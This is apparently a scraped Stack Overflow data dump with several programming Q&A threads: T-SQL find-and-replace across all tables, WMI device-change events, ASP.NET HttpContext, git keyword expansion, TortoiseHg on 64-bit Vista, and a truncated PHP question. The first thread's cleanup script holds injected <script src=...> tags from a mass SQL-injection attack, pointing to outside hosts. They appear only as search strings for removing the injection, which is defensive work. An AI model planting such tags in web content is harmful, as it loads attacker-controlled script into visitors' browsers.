DECLARE @lookFor nvarchar(250)
DECLARE @replaceWith nvarchar(250)
-- CHANGE PARAMETERS
--SET @lookFor = QUOTENAME('"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--')
--SET @lookFor = QUOTENAME('<script src=http://www.banner82.com/b.js></script>')
--SET @lookFor = QUOTENAME('<script src=http://www.adw95.com/b.js></script>')
SET @lookFor = QUOTENAME('<script src=http://www.script46.com/b.js></script>')
SET @replaceWith = ''
-- TEXT VALUE DATA TYPES
DECLARE @supportedTypes TABLE ( xtype NVARCHAR(20) )
INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('varchar','char','nvarchar','nchar','xml')
--INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('text')
-- ALL USER TABLES
DECLARE cur_tables CURSOR FOR
SELECT SO.name, SO.id FROM SYSOBJECTS SO WHERE XTYPE='U'
OPEN cur_tables
FETCH NEXT FROM cur_tables INTO @tblName, @tblID
WHILE @@FETCH_STATUS = 0
BEGIN
-------------------------------------------------------------------------------------------
-- START INNER LOOP - All text columns, generate statement
-------------------------------------------------------------------------------------------
DECLARE @temp VARCHAR(max)
DECLARE @count INT
SELECT @count = COUNT(name) FROM SYSCOLUMNS WHERE ID = @tblID AND
XTYPE IN (SELECT xtype FROM @supportedTypes)
IF @count > 0
BEGIN
-- fetch supported columns for table
DECLARE cur_columns CURSOR FOR
SELECT name FROM SYSCOLUMNS WHERE ID = @tblID AND
XTYPE IN (SELECT xtype FROM @supportedTypes)
OPEN cur_columns
FETCH NEXT FROM cur_columns INTO @colName
-- generate opening UPDATE cmd
SET @temp = '
PRINT ''Replacing ' + @tblName + '''
UPDATE ' + @tblName + ' SET
'
SET @first = 1
-- loop through columns and create replaces
WHILE @@FETCH_STATUS = 0
BEGIN
IF (@first=0) SET @temp = @temp + ',
'
SET @temp = @temp + @colName
SET @temp = @temp + ' = REPLACE(' + @colName + ','''
SET @temp = @temp + @lookFor
SET @temp = @temp + ''','''
SET @temp = @temp + @replaceWith
SET @temp = @temp + ''')'
SET @first = 0
FETCH NEXT FROM cur_columns INTO @colName
END
PRINT @temp
CLOSE cur_columns
DEALLOCATE cur_columns
END
-------------------------------------------------------------------------------------------
-- END INNER
-------------------------------------------------------------------------------------------
FETCH NEXT FROM cur_tables INTO @tblName, @tblID
END
CLOSE cur_tables
DEALLOCATE cur_tables
</code></pre>
| [
{
"answer_id": 39699,
"author": "Espo",
"author_id": 2257,
"author_profile": "https://Stackoverflow.com/users/2257",
"pm_score": 1,
"selected": false,
"text": "<p>You can not use REPLACE on text-fields. There is a UPDATETEXT-command that works on text-fields, but it is very complicated to use. Take a look at this article to see examples of how you can use it to replace text:</p>\n\n<p><a href=\"http://www.sqlteam.com/article/search-and-replace-in-a-text-column\" rel=\"nofollow noreferrer\">http://www.sqlteam.com/article/search-and-replace-in-a-text-column</a></p>\n"
},
{
"answer_id": 39790,
"author": "svandragt",
"author_id": 997,
"author_profile": "https://Stackoverflow.com/users/997",
"pm_score": 3,
"selected": true,
"text": "<p>Yeah. What I ended up doing is I converted to varchar(max) on the fly, and the replace took care of the rest.</p>\n\n<pre><code> -- PREPARE\n SET NOCOUNT ON\n\n -- VARIABLES\n DECLARE @tblName NVARCHAR(150)\n DECLARE @colName NVARCHAR(150)\n DECLARE @tblID int\n DECLARE @first bit\n DECLARE @lookFor nvarchar(250)\n DECLARE @replaceWith nvarchar(250)\n\n-- CHANGE PARAMETERS\nSET @lookFor = ('bla')\n\n\n\n SET @replaceWith = ''\n\n -- TEXT VALUE DATA TYPES\n DECLARE @supportedTypes TABLE ( xtype NVARCHAR(20) )\n INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('varchar','char','nvarchar','nchar','xml','ntext','text')\n --INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('text')\n\n -- ALL USER TABLES\n DECLARE cur_tables CURSOR FOR \n SELECT SO.name, SO.id FROM SYSOBJECTS SO WHERE XTYPE='U'\n OPEN cur_tables\n FETCH NEXT FROM cur_tables INTO @tblName, @tblID\n\n WHILE @@FETCH_STATUS = 0\n BEGIN\n -------------------------------------------------------------------------------------------\n -- START INNER LOOP - All text columns, generate statement\n -------------------------------------------------------------------------------------------\n DECLARE @temp VARCHAR(max)\n DECLARE @count INT\n SELECT @count = COUNT(name) FROM SYSCOLUMNS WHERE ID = @tblID AND \n XTYPE IN (SELECT xtype FROM @supportedTypes)\n\n IF @count > 0\n BEGIN\n -- fetch supported columns for table\n DECLARE cur_columns CURSOR FOR \n SELECT name FROM SYSCOLUMNS WHERE ID = @tblID AND \n XTYPE IN (SELECT xtype FROM @supportedTypes)\n OPEN cur_columns\n FETCH NEXT FROM cur_columns INTO @colName\n\n -- generate opening UPDATE cmd\n PRINT 'UPDATE ' + @tblName + ' SET'\n SET @first = 1\n\n -- loop through columns and create replaces\n WHILE @@FETCH_STATUS = 0\n BEGIN\n IF (@first=0) PRINT ','\n PRINT @colName +\n ' = REPLACE(convert(nvarchar(max),' + @colName + '),''' + @lookFor +\n ''',''' + @replaceWith + ''')'\n\n SET @first = 0\n\n FETCH NEXT FROM cur_columns INTO @colName\n END\n PRINT 'GO'\n\n CLOSE cur_columns\n DEALLOCATE cur_columns\n END\n ------------------------------------------------------------------------------------------- \n -- END INNER\n -------------------------------------------------------------------------------------------\n\n FETCH NEXT FROM cur_tables INTO @tblName, @tblID\n END\n\n CLOSE cur_tables\n DEALLOCATE cur_tables\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39674",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/997/"
] | I have the following script. It replaces all instances of @lookFor with @replaceWith in all tables in a database. However it doesn't work with text fields only varchar etc. Could this be easily adapted?
```
------------------------------------------------------------
-- Name: STRING REPLACER
-- Author: ADUGGLEBY
-- Version: 20.05.2008 (1.2)
--
-- Description: Runs through all available tables in current
-- databases and replaces strings in text columns.
------------------------------------------------------------
-- PREPARE
SET NOCOUNT ON
-- VARIABLES
DECLARE @tblName NVARCHAR(150)
DECLARE @colName NVARCHAR(150)
DECLARE @tblID int
DECLARE @first bit
DECLARE @lookFor nvarchar(250)
DECLARE @replaceWith nvarchar(250)
-- CHANGE PARAMETERS
--SET @lookFor = QUOTENAME('"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--')
--SET @lookFor = QUOTENAME('<script src=http://www.banner82.com/b.js></script>')
--SET @lookFor = QUOTENAME('<script src=http://www.adw95.com/b.js></script>')
SET @lookFor = QUOTENAME('<script src=http://www.script46.com/b.js></script>')
SET @replaceWith = ''
-- TEXT VALUE DATA TYPES
DECLARE @supportedTypes TABLE ( xtype NVARCHAR(20) )
INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('varchar','char','nvarchar','nchar','xml')
--INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('text')
-- ALL USER TABLES
DECLARE cur_tables CURSOR FOR
SELECT SO.name, SO.id FROM SYSOBJECTS SO WHERE XTYPE='U'
OPEN cur_tables
FETCH NEXT FROM cur_tables INTO @tblName, @tblID
WHILE @@FETCH_STATUS = 0
BEGIN
-------------------------------------------------------------------------------------------
-- START INNER LOOP - All text columns, generate statement
-------------------------------------------------------------------------------------------
DECLARE @temp VARCHAR(max)
DECLARE @count INT
SELECT @count = COUNT(name) FROM SYSCOLUMNS WHERE ID = @tblID AND
XTYPE IN (SELECT xtype FROM @supportedTypes)
IF @count > 0
BEGIN
-- fetch supported columns for table
DECLARE cur_columns CURSOR FOR
SELECT name FROM SYSCOLUMNS WHERE ID = @tblID AND
XTYPE IN (SELECT xtype FROM @supportedTypes)
OPEN cur_columns
FETCH NEXT FROM cur_columns INTO @colName
-- generate opening UPDATE cmd
SET @temp = '
PRINT ''Replacing ' + @tblName + '''
UPDATE ' + @tblName + ' SET
'
SET @first = 1
-- loop through columns and create replaces
WHILE @@FETCH_STATUS = 0
BEGIN
IF (@first=0) SET @temp = @temp + ',
'
SET @temp = @temp + @colName
SET @temp = @temp + ' = REPLACE(' + @colName + ','''
SET @temp = @temp + @lookFor
SET @temp = @temp + ''','''
SET @temp = @temp + @replaceWith
SET @temp = @temp + ''')'
SET @first = 0
FETCH NEXT FROM cur_columns INTO @colName
END
PRINT @temp
CLOSE cur_columns
DEALLOCATE cur_columns
END
-------------------------------------------------------------------------------------------
-- END INNER
-------------------------------------------------------------------------------------------
FETCH NEXT FROM cur_tables INTO @tblName, @tblID
END
CLOSE cur_tables
DEALLOCATE cur_tables
``` | Yeah. What I ended up doing is I converted to varchar(max) on the fly, and the replace took care of the rest.
```
-- PREPARE
SET NOCOUNT ON
-- VARIABLES
DECLARE @tblName NVARCHAR(150)
DECLARE @colName NVARCHAR(150)
DECLARE @tblID int
DECLARE @first bit
DECLARE @lookFor nvarchar(250)
DECLARE @replaceWith nvarchar(250)
-- CHANGE PARAMETERS
SET @lookFor = ('bla')
SET @replaceWith = ''
-- TEXT VALUE DATA TYPES
DECLARE @supportedTypes TABLE ( xtype NVARCHAR(20) )
INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('varchar','char','nvarchar','nchar','xml','ntext','text')
--INSERT INTO @supportedTypes SELECT XTYPE FROM SYSTYPES WHERE NAME IN ('text')
-- ALL USER TABLES
DECLARE cur_tables CURSOR FOR
SELECT SO.name, SO.id FROM SYSOBJECTS SO WHERE XTYPE='U'
OPEN cur_tables
FETCH NEXT FROM cur_tables INTO @tblName, @tblID
WHILE @@FETCH_STATUS = 0
BEGIN
-------------------------------------------------------------------------------------------
-- START INNER LOOP - All text columns, generate statement
-------------------------------------------------------------------------------------------
DECLARE @temp VARCHAR(max)
DECLARE @count INT
SELECT @count = COUNT(name) FROM SYSCOLUMNS WHERE ID = @tblID AND
XTYPE IN (SELECT xtype FROM @supportedTypes)
IF @count > 0
BEGIN
-- fetch supported columns for table
DECLARE cur_columns CURSOR FOR
SELECT name FROM SYSCOLUMNS WHERE ID = @tblID AND
XTYPE IN (SELECT xtype FROM @supportedTypes)
OPEN cur_columns
FETCH NEXT FROM cur_columns INTO @colName
-- generate opening UPDATE cmd
PRINT 'UPDATE ' + @tblName + ' SET'
SET @first = 1
-- loop through columns and create replaces
WHILE @@FETCH_STATUS = 0
BEGIN
IF (@first=0) PRINT ','
PRINT @colName +
' = REPLACE(convert(nvarchar(max),' + @colName + '),''' + @lookFor +
''',''' + @replaceWith + ''')'
SET @first = 0
FETCH NEXT FROM cur_columns INTO @colName
END
PRINT 'GO'
CLOSE cur_columns
DEALLOCATE cur_columns
END
-------------------------------------------------------------------------------------------
-- END INNER
-------------------------------------------------------------------------------------------
FETCH NEXT FROM cur_tables INTO @tblName, @tblID
END
CLOSE cur_tables
DEALLOCATE cur_tables
``` |
39,704 | <p>I am trying to register to a "Device added/ Device removed" event using WMI. When I say device - I mean something in the lines of a Disk-On-Key or any other device that has files on it which I can access...</p>
<p>I am registering to the event, and the event is raised, but the EventType propery is different from the one I am expecting to see.</p>
<p>The documentation (<a href="http://msdn.microsoft.com/en-us/library/aa394124(VS.85).aspx" rel="nofollow noreferrer">MSDN</a>) states : 1- config change, 2- Device added, 3-Device removed 4- Docking. For some reason I always get a value of 1. </p>
<p>Any ideas ?</p>
<p>Here's sample code : </p>
<pre><code>public class WMIReceiveEvent
{
public WMIReceiveEvent()
{
try
{
WqlEventQuery query = new WqlEventQuery(
"SELECT * FROM Win32_DeviceChangeEvent");
ManagementEventWatcher watcher = new ManagementEventWatcher(query);
Console.WriteLine("Waiting for an event...");
watcher.EventArrived +=
new EventArrivedEventHandler(
HandleEvent);
// Start listening for events
watcher.Start();
// Do something while waiting for events
System.Threading.Thread.Sleep(10000);
// Stop listening for events
watcher.Stop();
return;
}
catch(ManagementException err)
{
MessageBox.Show("An error occurred while trying to receive an event: " + err.Message);
}
}
private void HandleEvent(object sender,
EventArrivedEventArgs e)
{
Console.WriteLine(e.NewEvent.GetPropertyValue["EventType"]);
}
public static void Main()
{
WMIReceiveEvent receiveEvent = new WMIReceiveEvent();
return;
}
}
</code></pre>
| [
{
"answer_id": 40706,
"author": "dguaraglia",
"author_id": 2384,
"author_profile": "https://Stackoverflow.com/users/2384",
"pm_score": 0,
"selected": false,
"text": "<p>Oh! Yup, I've been through that, but using the raw Windows API calls some time ago, while developing an ActiveX control that detected the insertion of any kind of media. I'll try to unearth the code from my backups and see if I can tell you how I solved it. I'll subscribe to the RSS just in case somebody gets there first.</p>\n"
},
{
"answer_id": 62199,
"author": "dguaraglia",
"author_id": 2384,
"author_profile": "https://Stackoverflow.com/users/2384",
"pm_score": 1,
"selected": false,
"text": "<p>Well, I couldn't find the code. Tried on my old RAC account, nothing. Nothing in my old backups. Go figure. But I tried to work out how I did it, and I think this is the correct sequence (I based a lot of it on this <a href=\"http://www.codeproject.com/KB/system/HwDetect.aspx\" rel=\"nofollow noreferrer\">article</a>):</p>\n\n<ol>\n<li>Get all drive letters and cache\nthem. </li>\n<li>Wait for the WM_DEVICECHANGE\nmessage, and start a timer with a\ntimeout of 1 second (this is done to\navoid a lot of spurious\nWM_DEVICECHANGE messages that start\nas start as soon as you insert the\nUSB key/other device and only end\nwhen the drive is \"settled\").</li>\n<li>Compare the drive letters with the\nold cache and detect the new ones.</li>\n<li>Get device information for those.</li>\n</ol>\n\n<p>I know there are other methods, but that proved to be the only one that would work consistently in different versions of windows, and we needed that as my client used the ActiveX control on a webpage that uploaded images from any kind of device you inserted (I think they produced some kind of printing kiosk).</p>\n"
},
{
"answer_id": 1120409,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Well,</p>\n\n<p>u can try win32_logical disk class and bind it to the __Instancecreationevent.\nYou can easily get the required info</p>\n"
},
{
"answer_id": 2398988,
"author": "JoelHess",
"author_id": 14509,
"author_profile": "https://Stackoverflow.com/users/14509",
"pm_score": 0,
"selected": false,
"text": "<p>I tried this on my system and I eventually get the right code. It just takes a while. I get a dozen or so events, and one of them is the device connect code.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39704",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | I am trying to register to a "Device added/ Device removed" event using WMI. When I say device - I mean something in the lines of a Disk-On-Key or any other device that has files on it which I can access...
I am registering to the event, and the event is raised, but the EventType propery is different from the one I am expecting to see.
The documentation ([MSDN](http://msdn.microsoft.com/en-us/library/aa394124(VS.85).aspx)) states : 1- config change, 2- Device added, 3-Device removed 4- Docking. For some reason I always get a value of 1.
Any ideas ?
Here's sample code :
```
public class WMIReceiveEvent
{
public WMIReceiveEvent()
{
try
{
WqlEventQuery query = new WqlEventQuery(
"SELECT * FROM Win32_DeviceChangeEvent");
ManagementEventWatcher watcher = new ManagementEventWatcher(query);
Console.WriteLine("Waiting for an event...");
watcher.EventArrived +=
new EventArrivedEventHandler(
HandleEvent);
// Start listening for events
watcher.Start();
// Do something while waiting for events
System.Threading.Thread.Sleep(10000);
// Stop listening for events
watcher.Stop();
return;
}
catch(ManagementException err)
{
MessageBox.Show("An error occurred while trying to receive an event: " + err.Message);
}
}
private void HandleEvent(object sender,
EventArrivedEventArgs e)
{
Console.WriteLine(e.NewEvent.GetPropertyValue["EventType"]);
}
public static void Main()
{
WMIReceiveEvent receiveEvent = new WMIReceiveEvent();
return;
}
}
``` | Well, I couldn't find the code. Tried on my old RAC account, nothing. Nothing in my old backups. Go figure. But I tried to work out how I did it, and I think this is the correct sequence (I based a lot of it on this [article](http://www.codeproject.com/KB/system/HwDetect.aspx)):
1. Get all drive letters and cache
them.
2. Wait for the WM\_DEVICECHANGE
message, and start a timer with a
timeout of 1 second (this is done to
avoid a lot of spurious
WM\_DEVICECHANGE messages that start
as start as soon as you insert the
USB key/other device and only end
when the drive is "settled").
3. Compare the drive letters with the
old cache and detect the new ones.
4. Get device information for those.
I know there are other methods, but that proved to be the only one that would work consistently in different versions of windows, and we needed that as my client used the ActiveX control on a webpage that uploaded images from any kind of device you inserted (I think they produced some kind of printing kiosk). |
39,727 | <p>What .NET namespace or class includes both Context.Handler and Server.Transfer?</p>
<p>I think one may include both and my hunt on MSDN returned null. </p>
| [
{
"answer_id": 39733,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 2,
"selected": false,
"text": "<p>System.Web.</p>\n\n<pre><code>HttpContext.Current.Handler\nHttpContext.Current.Request.Server.Transfer\n</code></pre>\n"
},
{
"answer_id": 40117,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n <p>Hmmmm, I talking about them as they are implemented here:</p>\n \n <p><a href=\"http://blog.benday.com/archive/2008/03/31/23176.aspx\" rel=\"nofollow noreferrer\">http://blog.benday.com/archive/2008/03/31/23176.aspx</a></p>\n \n <p>(at least Context.Handler there)</p>\n \n <p>I am still having trouble in VS making that reference.</p>\n</blockquote>\n\n<p>Context.Handler is an instance of an HttpContext.</p>\n\n<p>HttpContext exposes the CURRENT instance for the request under the HttpContext.Current property, however the current context can also be passed in HTTPHandlers in the ProcessRequest method:</p>\n\n<pre><code>void ProcessRequest(HttpContext context)\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39727",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4140/"
] | What .NET namespace or class includes both Context.Handler and Server.Transfer?
I think one may include both and my hunt on MSDN returned null. | System.Web.
```
HttpContext.Current.Handler
HttpContext.Current.Request.Server.Transfer
``` |
39,742 | <p>Browsing through the git documentation, I can't see anything analogous to SVN's commit hooks or the "propset" features that can, say, update a version number or copyright notice within a file whenever it is committed to the repository.</p>
<p>Are git users expected to write external scripts for this sort of functionality (which doesn't seem out of the question) or have I just missed something obvious?</p>
<p><em>Edit</em> : Just to be clear, I'm more interested in, e.g.,</p>
<pre><code>svn propset svn:keywords "Author Date Id Revision" expl3.dtx
</code></pre>
<p>where a string like this:</p>
<pre><code>$Id: expl3.dtx 780 2008-08-30 12:32:34Z morten $
</code></pre>
<p>is kept up-to-date with the relevant info whenever a commit occurs.</p>
| [
{
"answer_id": 39751,
"author": "James A. Rosen",
"author_id": 1190,
"author_profile": "https://Stackoverflow.com/users/1190",
"pm_score": 1,
"selected": false,
"text": "<p>Perhaps the most common SVN property, 'svn:ignore' is done through the .gitignore file, rather than metadata. I'm afraid I don't have anything more helpful for the other kinds of metadata.</p>\n"
},
{
"answer_id": 39947,
"author": "Jordi Bunster",
"author_id": 4272,
"author_profile": "https://Stackoverflow.com/users/4272",
"pm_score": 5,
"selected": true,
"text": "<p>Quoting from the <a href=\"https://git.wiki.kernel.org/index.php/GitFaq#Does_git_have_keyword_expansion.3F\" rel=\"noreferrer\">Git FAQ</a>:</p>\n<blockquote>\n<p>Does git have keyword expansion?</p>\n<p>Not recommended. Keyword expansion causes all sorts of strange problems and\nisn't really useful anyway, especially within the context of an SCM. Outside\ngit you may perform keyword expansion using a script. The Linux kernel export\nscript does this to set the EXTRA_VERSION variable in the Makefile.</p>\n<p>See gitattributes(5) if you really want to do this. If your translation is not\nreversible (eg SCCS keyword expansion) this may be problematic.</p>\n</blockquote>\n"
},
{
"answer_id": 39981,
"author": "georg",
"author_id": 3748,
"author_profile": "https://Stackoverflow.com/users/3748",
"pm_score": 2,
"selected": false,
"text": "<p>Git does have pre-commit and post-commit hooks, they are located inside each .git/hooks directory. Just modify the files and chmod them to make them executable.</p>\n"
},
{
"answer_id": 78890,
"author": "emk",
"author_id": 12089,
"author_profile": "https://Stackoverflow.com/users/12089",
"pm_score": 4,
"selected": false,
"text": "<p>I wrote up a <a href=\"https://stackoverflow.com/questions/62264/dealing-with-svn-keyword-expansion-with-git-svn#72874\">fairly complete answer</a> to this elsewhere, with code showing how to do it. A summary:</p>\n\n<ol>\n<li>You probably don't want to do this. Using <code>git describe</code> is a reasonable alternative.</li>\n<li>If you do need to do this, <code>$Id$</code> and <code>$Format$</code> are fairly easy.</li>\n<li>Anything more advanced will require using <code>gitattributes</code> and a custom filter. I provide an example implementation of <code>$Date$</code>.</li>\n</ol>\n\n<p>Solutions based on hook functions are generally not helpful, because they make your working copy dirty.</p>\n"
},
{
"answer_id": 41815719,
"author": "superk",
"author_id": 2821963,
"author_profile": "https://Stackoverflow.com/users/2821963",
"pm_score": 2,
"selected": false,
"text": "<p>Although an age-old Q&A. I thought I'd throw one in since this has been bugging me for a long time.</p>\n\n<p>I am used to list the files in a directory by reverse-time order (funny me, heh?). The reason is that I would like to see which files I have (or anyone else has) changed recently.</p>\n\n<p>Git will mess my plans because when switching a branch the local repo will completely overwrite the tracked files from the (incremental... I know...) copies that sit in the packed local repo.</p>\n\n<p>This way all files that were checked out will carry the time stamp of the checkout and will not reflect their last modification time..... How so annoying.</p>\n\n<p>So, I've devised a one-liner in bash that will update a $Date:$ property inside any file <strong>WITH THE TIME OF LAST MODIFICATION ACCORDING TO WHAT IT HAS ON FILE SYSTEM</strong> such that I will have an immediate status telling of last modification without having to browse the <code>git log</code> , <code>git show</code> or any other tool that gives the commit times in <em>blame</em> mode.</p>\n\n<p>The following procedure will modify the $Date: $ keyword only in tracked files that are going to be committed to the repo. It uses <code>git diff --name-only</code> which will list files that were modified, and nothing else....</p>\n\n<p>I use this one-liner manually before committing the code. One thing though is that I have to navigate to the repo's root directory before applying this.</p>\n\n<p>Here's the code variant for Linux (pasted as a multi-line for readability)</p>\n\n<pre><code>git diff --name-only | xargs stat -c \"%n %Y\" 2>/dev/null | \\\nperl -pe 's/[^[:ascii:]]//g;' | while read l; do \\\n set -- $l; f=$1; shift; d=$*; modif=`date -d \"@$d\"`; \\\n perl -i.bak -pe 's/\\$Date: [\\w \\d\\/:,.)(+-]*\\$/\\$Date: '\"$modif\"'\\$/i' $f; \\\n git add $f; done\n</code></pre>\n\n<p>and OSX</p>\n\n<pre><code>git diff --name-only | xargs stat -f \"%N %Sm\" | while read l; do \\\n set -- $l; f=$1; shift; d=$*; modif=`date -j -f \"%b %d %T %Y\" \"$d\"`; \\\n perl -i.bak -pe 's/\\$Date: [\\w \\d\\/:,.)(+-]*\\$/\\$Date: '\"$modif\"'\\$/i' $f; \\\n git add $f; done\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39742",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4161/"
] | Browsing through the git documentation, I can't see anything analogous to SVN's commit hooks or the "propset" features that can, say, update a version number or copyright notice within a file whenever it is committed to the repository.
Are git users expected to write external scripts for this sort of functionality (which doesn't seem out of the question) or have I just missed something obvious?
*Edit* : Just to be clear, I'm more interested in, e.g.,
```
svn propset svn:keywords "Author Date Id Revision" expl3.dtx
```
where a string like this:
```
$Id: expl3.dtx 780 2008-08-30 12:32:34Z morten $
```
is kept up-to-date with the relevant info whenever a commit occurs. | Quoting from the [Git FAQ](https://git.wiki.kernel.org/index.php/GitFaq#Does_git_have_keyword_expansion.3F):
>
> Does git have keyword expansion?
>
>
> Not recommended. Keyword expansion causes all sorts of strange problems and
> isn't really useful anyway, especially within the context of an SCM. Outside
> git you may perform keyword expansion using a script. The Linux kernel export
> script does this to set the EXTRA\_VERSION variable in the Makefile.
>
>
> See gitattributes(5) if you really want to do this. If your translation is not
> reversible (eg SCCS keyword expansion) this may be problematic.
>
>
> |
39,746 | <p>I installed TortoiseHg (Mercurial) in my Vista 64-bit and the context menu is not showing up when I right click a file or folder.
Is there any workaround for this problem?</p>
| [
{
"answer_id": 39764,
"author": "David Webb",
"author_id": 3171,
"author_profile": "https://Stackoverflow.com/users/3171",
"pm_score": 1,
"selected": false,
"text": "<p>According to the <a href=\"http://bitbucket.org/tortoisehg/stable/wiki/FAQ\" rel=\"nofollow noreferrer\">TortoiseHg FAQ</a> the context menus will work in 64-bit Vista <a href=\"http://bitbucket.org/tortoisehg/stable/wiki/FAQ#does-tortoisehg-work-on-vista\" rel=\"nofollow noreferrer\">if you start a 32-bit instance of explorer by creating a shortcut</a> with the following settings (as suggested in the answer above):</p>\n\n<pre><code>Target: %windir%\\syswow64\\explorer.exe /separate \nStart In: %windir%\\syswow64\\ \n</code></pre>\n"
},
{
"answer_id": 39891,
"author": "Curt Hagenlocher",
"author_id": 533,
"author_profile": "https://Stackoverflow.com/users/533",
"pm_score": 2,
"selected": false,
"text": "<p>In order to be able to use an extension in Explorer, the \"bitness\" of the extension needs to match the bitness of the operating system. This is because (at least under Windows) you can't load a 32-bit DLL into a 64-bit process -- or vice versa. If there's no 64-bit version of HgTortoise, then you can't use it with Explorer on a 64-bit Windows OS.</p>\n"
},
{
"answer_id": 85556,
"author": "user16444",
"author_id": 16444,
"author_profile": "https://Stackoverflow.com/users/16444",
"pm_score": 1,
"selected": false,
"text": "<p>You could always install the command line hg and use it in a pinch. It's a bit faster, too.</p>\n"
},
{
"answer_id": 88374,
"author": "Mjr578",
"author_id": 3350,
"author_profile": "https://Stackoverflow.com/users/3350",
"pm_score": 1,
"selected": false,
"text": "<p>I can verify that xplorer2 does show the HG tortoise context menu in 64bit Vista.</p>\n"
},
{
"answer_id": 224136,
"author": "Mentat",
"author_id": 30198,
"author_profile": "https://Stackoverflow.com/users/30198",
"pm_score": 5,
"selected": true,
"text": "<p>Update: TortoiseHg 0.8 (released 2009-07-01) now includes both 32 and 64 bit shell extensions in the installer, and also works with Windows 7. The workaround described below is no longer necessary.</p>\n\n<hr>\n\n<p>A workaround to getting the context menus in Windows Explorer is buried in the TortoiseHg development mailing list archives. One of the posts provides this very handy tip on how to run 32-bit Explorer on 64-bit Windows:</p>\n\n<p>TortoiseHG context menus will show up if you run 32-bit windows explorer; create a shortcut with this (or use Start > Run):</p>\n\n<pre><code>%Systemroot%\\SysWOW64\\explorer.exe /separate\n</code></pre>\n\n<p>(Source: <a href=\"http://www.mail-archive.com/[email protected]/msg01055.html\" rel=\"nofollow noreferrer\">http://www.mail-archive.com/[email protected]/msg01055.html</a>)</p>\n\n<p>It works fairly well and is minimally invasive, <strike>but unfortunately this doesn't seem to make the icon overlays appear. I don't know of any workaround for that, but file status can still be viewed through TortoiseHg menu commands at least.</strike> All other TortoiseHg functionality seems intact.</p>\n\n<p>The icon overlays are now working with TortoiseHg 0.6 in 32-bit explorer! Not sure if this is a new fix or if I had some misconfiguration in 0.5; regardless this means TortoiseHg is <b>fully</b> functional in 64-bit Windows.</p>\n"
},
{
"answer_id": 810133,
"author": "evadeflow",
"author_id": 99127,
"author_profile": "https://Stackoverflow.com/users/99127",
"pm_score": 1,
"selected": false,
"text": "<p>As detailed in the <a href=\"http://bitbucket.org/tortoisehg/stable/wiki/FAQ#how-can-i-get-the-context-menus-working-on-64-bit-vista\" rel=\"nofollow noreferrer\">TortoiseHg FAQ</a>, you need to run a 32-bit Windows Explorer instance for the context menu and overlays to work under 64-bit Vista.</p>\n\n<p>My personal preference is to create a shortcut similar to the following for each project I'm actively using with TortoiseHg:</p>\n\n<pre><code> %windir%\\syswow64\\explorer.exe /separate /root,C:\\projects\\frobnicator\n</code></pre>\n\n<p>This launches explorer with the <code>C:\\projects\\frobnicator</code> folder already opened. (You can omit the <code>/root</code> option and just use the same shortcut for all projects if you don't mind clicking your way to the target folder every time you launch it.)</p>\n"
},
{
"answer_id": 826322,
"author": "kitsune",
"author_id": 13466,
"author_profile": "https://Stackoverflow.com/users/13466",
"pm_score": 2,
"selected": false,
"text": "<p>I upgraded to Windows 7 RC and the 64bit workaround seems to have stopped working</p>\n"
},
{
"answer_id": 1074373,
"author": "James Hopkin",
"author_id": 11828,
"author_profile": "https://Stackoverflow.com/users/11828",
"pm_score": 1,
"selected": false,
"text": "<p>I've just noticed that the context menu and icons work from a file open dialog from some apps (on Vista). I now just use Notepad++'s file open dialog, since I use Notepad++ all the time.</p>\n\n<p>It seems to have to be the simple open dialog, not the new one Notepad has, for example.</p>\n\n<p>Maybe someone can check if this trick works in Windows 7.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39746",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4264/"
] | I installed TortoiseHg (Mercurial) in my Vista 64-bit and the context menu is not showing up when I right click a file or folder.
Is there any workaround for this problem? | Update: TortoiseHg 0.8 (released 2009-07-01) now includes both 32 and 64 bit shell extensions in the installer, and also works with Windows 7. The workaround described below is no longer necessary.
---
A workaround to getting the context menus in Windows Explorer is buried in the TortoiseHg development mailing list archives. One of the posts provides this very handy tip on how to run 32-bit Explorer on 64-bit Windows:
TortoiseHG context menus will show up if you run 32-bit windows explorer; create a shortcut with this (or use Start > Run):
```
%Systemroot%\SysWOW64\explorer.exe /separate
```
(Source: <http://www.mail-archive.com/[email protected]/msg01055.html>)
It works fairly well and is minimally invasive, but unfortunately this doesn't seem to make the icon overlays appear. I don't know of any workaround for that, but file status can still be viewed through TortoiseHg menu commands at least. All other TortoiseHg functionality seems intact.
The icon overlays are now working with TortoiseHg 0.6 in 32-bit explorer! Not sure if this is a new fix or if I had some misconfiguration in 0.5; regardless this means TortoiseHg is **fully** functional in 64-bit Windows. |
39,792 | <p>I have an SQL query that takes the following form:</p>
<pre><code>UPDATE foo
SET flag=true
WHERE id=?
</code></pre>
<p>I also have a PHP array which has a list of IDs. What is the best way to accomplish this other than with parsing, as follows, ...</p>
<pre><code>foreach($list as $item){
$querycondition = $querycondition . " OR " . $item;
}
</code></pre>
<p>... and using the output in the <code>WHERE</code> clause?</p>
| [
{
"answer_id": 39802,
"author": "matt b",
"author_id": 4249,
